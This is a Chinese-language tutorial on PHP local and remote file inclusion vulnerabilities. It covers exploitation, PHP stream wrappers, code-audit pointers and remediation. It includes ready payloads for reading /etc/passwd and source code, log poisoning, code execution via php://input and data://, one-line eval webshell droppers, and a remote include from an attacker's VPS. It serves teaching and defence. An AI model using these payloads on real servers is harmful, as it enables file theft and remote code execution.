本地文件包含(LFI) #

文件包含漏洞的产生原因是 PHP 语言在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。

漏洞利用 #

利用条件:

(1)include()等函数通过动态变量的方式引入包含文件; (2)用户能够控制该动态变量。

1、读取敏感文件

?arg=/etc/passwd
1

2、利用封装协议读源码

?arg=php://filter/read=convert.base64-encode/resource=config.php	#这样能看到php文件的源码
1

3、包含图片Getshell

在上传的图片中写入恶意代码,然后用 LFI 包含调用,就会执行图片里的PHP代码

4、截断包含

漏洞代码:

<?php
if(isset($_GET['arg']))
{
    include($_GET['arg'].".php"); 
}else{
    include(index.php);
 }
?>
1
2
3
4
5
6
7
8

这样做一定程度上修复了漏洞, 上传图片一句话并访问:http://vuln.com/index.php?arg=1.jpg会出错。

因为包含文件里面不存在1.jpg.php这个文件。

但是如果输入http://vuln.com/index.php?arg=1.jpg%00,就极有可能会绕过检测。

这种方法只适用于php.inimagic_quotes_qpc=off并且PHP版本< 5.3.4的情况。

如果为on,%00会被转义,以至于无法截断。

5、包含Apache日志Getshell

**条件:**知道日志文件access.log的存放位置 ,默认位置:/var/log/httpd/access_log

access.log文件记录了客户端每次请求的相关信息; 当我们访问一个不存在的资源时access.log文件仍然会记录这条资源信息。

如果目标网站存在文件包含漏洞,但是没有可以包含的文件时,

我们就可以尝试访问http://www.vuln.com/<?php phpinfo(); ?>

Apache会将这条信息记录在access.log文件中,这时如果我们访问access.log文件,就会触发文件包含漏洞。

理论上是这样的,但是实际上却是输入的代码被转义无法解析。

攻击者可以通过burpsuite进行抓包在http请求包里面将转义的代码改为正常的测试代码就可以绕过。

这时再查看Apache日志文件,显示的就是正常的测试代码。

这时访问:http://www.vuln.com/index.php?arg=/var/log/httpd/access_log,即可成功执行代码

PHP中的封装协议(伪协议) #

以下协议未写明条件的即是allow_url_fopen和allow_url_include状态off/on都行。

file:// #

作用:

用于访问本地文件系统,在CTF中通常用来读取本地文件,且不受allow_url_fopen与allow_url_include的影响。

include()/require()/include_once()/require_once()参数可控的情况下

如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的

示例:

#1. file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?file=file://C:\phpStudy\PHPTutorial\WWW\phpinfo.txt

#2. file://[文件的相对路径和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txt

#3. file://[网络路径和文件名]
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
1
2
3
4
5
6
7
8

php:// #

条件:

allow_url_fopen:off/on

allow_url_include : 部分需要on (下面列出)

php://input

php://stdin

php://memory 

php://temp
1
2
3
4
5
6
7
8
9
10
11

作用:

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是 php://filterphp://input

php://filter用于读取源码,php://input用于执行php代码

示例:

#1. php://filter/read=convert.base64-encode/resource=[文件名]  //读取文件源码
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

#2.php://input + [POST DATA]执行php代码
http://127.0.0.1/include.php?file=php://input
[POST DATA部分] <?php phpinfo(); ?>

#3.若有写入权限,[POST DATA部分] 写入一句话木马
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
1
2
3
4
5
6
7
8
9

zip:// & bzip2:// & zlib:// #

作用:

zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件

更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等

示例:

1.zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)
<!--压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传-->
http://127.0.0.1/include.php?file=zip://C:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt

2.compress.bzip2://file.bz2
<!--压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)-->
http://127.0.0.1/include.php?file=compress.bzip2://C:\phpStudy\PHPTutorial\WWW\phpinfo.bz2

3.compress.zlib://file.gz 
<!--压缩 phpinfo.txt 为 phpinfo.gz-->
http://127.0.0.1/include.php?file=compress.zlib://C:\phpStudy\PHPTutorial\WWW\phpinfo.gz
1
2
3
4
5
6
7
8
9
10
11

data:// #

条件:

allow_url_fopen:on

allow_url_include :on

作用:

PHP>=5.2.0起,可以使用 data:// 数据流封装器,以传递相应格式的数据。

通常可以用来执行PHP代码

示例:

#1.data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

#2.data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
1
2
3
4
5

phar:// #

phar://协议与zip://类似,同样可以访问zip格式压缩包内容

http://127.0.0.1/include.php?file=phar://C:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
1

利用条件 PHP > 5.3

要想使用Phar类里的方法,必须将phar.readonly配置项配置为0或Off

利用 phar 协议可以拓展 php 反序列化漏洞攻击面

远程文件包含(RFL) #

服务器通过 PHP 的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严格,

从而可以去包含一个恶意文件,攻击者就可以远程构造一个特定的恶意文件达到攻击目的。

漏洞利用 #

条件:php.ini中开启allow_url_includeallow_url_fopen选项。

1、远程包含Webshell

?arg=http://攻击者的VPS/shell.txt
#会在网站目录生成名为 shell.php 的一句话木马
1
2

shell.txt内容为:

<?php
    fputs(fopen('./shell.php','w'),'<?php @eval($_POST[123]) ?>');
?>
1
2
3

代码审计 #

文件包含用到的函数

include()		//使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。
inclue_once()	//功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。

require()		//使用此函数,只要程序执行,立即调用此函数包含文件发生错误时,会输出错误信息并立即终止程序。
require_once()	//功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。
1
2
3
4
5

代码审计的时候全局搜索以上函数

如果是基于图像上传的 ,要搜$_FILES 变量, 因为PHP处理上传文件的功能,基本都与$_FILES有关。

查看目录结构,重点关注includes、modules等文件夹,查看index.php等文件是否动态调用过这些内容,变量是否可控。

修复建议 #

  1. 禁止远程文件包含 allow_url_include=off
  2. 配置 open_basedir=指定目录,限制访问区域。
  3. 过滤../等特殊符号
  4. 修改Apache日志文件的存放地址
  5. 开启魔术引号 magic_quotes_qpc=on
  6. 尽量不要使用动态变量调用文件,直接写要包含的文件。
上次更新: 11/2/2023, 3:02:48 AM